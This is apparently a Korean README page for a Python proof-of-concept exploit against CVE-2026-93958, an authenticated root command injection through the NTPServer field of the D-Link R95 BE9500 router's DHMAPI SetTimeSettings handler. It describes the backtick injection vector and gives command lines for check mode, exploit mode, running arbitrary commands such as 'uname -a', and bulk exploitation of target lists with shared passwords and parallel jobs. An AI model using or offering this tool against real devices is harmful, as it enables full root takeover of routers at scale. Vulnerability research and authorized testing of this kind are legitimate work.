
CVE-2026-93958에 대한 Python PoC: D-Link R95 BE9500 DHMAPI SetTimeSettings NTPServer의 인증된 루트 명령 주입으로, check, exploit, bulk 모드를 제공합니다.
**CVE-2026-93958**에 대한 Python 3 PoC — D-Link R95 BE9500 펌웨어 BE9500_1.00.16 (빌드 1.01B06).
CVE-2026-93958 — /bin/ssi DHMAPI(HTTPS 기반 SOAP)의 OS 명령 주입(CWE-77 / CWE-78). SetTimeSettings 핸들러는 **NTPServer**를 정리 없이 저장하며, UCI 동기화는 셸을 통해 **uci set …="%s"**를 실행하므로 NTPServer의 백틱이 root 권한으로 실행됩니다.
전제 조건: 유효한 admin 웹 세션(Login + API-AUTH HMAC). 기본 사용자 Admin. 관리 포트는 일반적으로 18443(443도 시도 가능).
영향: 전체 기기 침해(root RCE). BE9500_1.00.16(2026년 9월)에 대해 기록된 벤더 수정 사항 없음.
공개 연구: FoundTL/D-Link-R95-BE9500
CVSS: 9.4 (v4.0) / 9.1 (v3.1, PR:H, 범위 변경됨).
PoC 페이지: https://pocbit.org/pocs/cve-2026-93958
카탈로그: https://pocbit.org/pocs/
| 제품 | D-Link R95 BE9500 |
| 펌웨어 | BE9500_1.00.16 / 1.01B06 |
| 벡터 | POST /DHMAPI/ → SetTimeSettings / NTPServer |
| 인증 | Admin + API-AUTH |
| 익스플로잇 | `cmd` 주입; 출력은 **/www/pocbit93958.txt**를 통해 확인 |
기능: 컬러 CLI, --mode check, --mode exploit, 대량 일괄 처리(--list + -j), JSONL + exploited.txt.
pip install -r requirements.txt
python poc.py -u 192.168.2.254:18443 --mode check
python poc.py -u 192.168.2.254:18443 -U Admin -P 'YourPass' --mode exploit
python poc.py -u 192.168.2.254:18443 -U Admin -P pass --mode exploit --command "uname -a"
python poc.py --list targets.example.txt --mode exploit -j 8
python poc.py --list targets.txt --mode exploit --password SharedAdminPass -j 12
대상 줄 형식: host[:port] [username] [password] (탭/공백).
CVE-2026-93958 PoC: D-Link R95 BE9500 DHMAPI NTPServer 인증된 root RCE. DHMAPI 로그인, SetTimeSettings 주입, 대량 익스플로잇. PoCbit
소유하거나 평가 권한이 있는 기기에서만 승인된 테스트를 수행하십시오.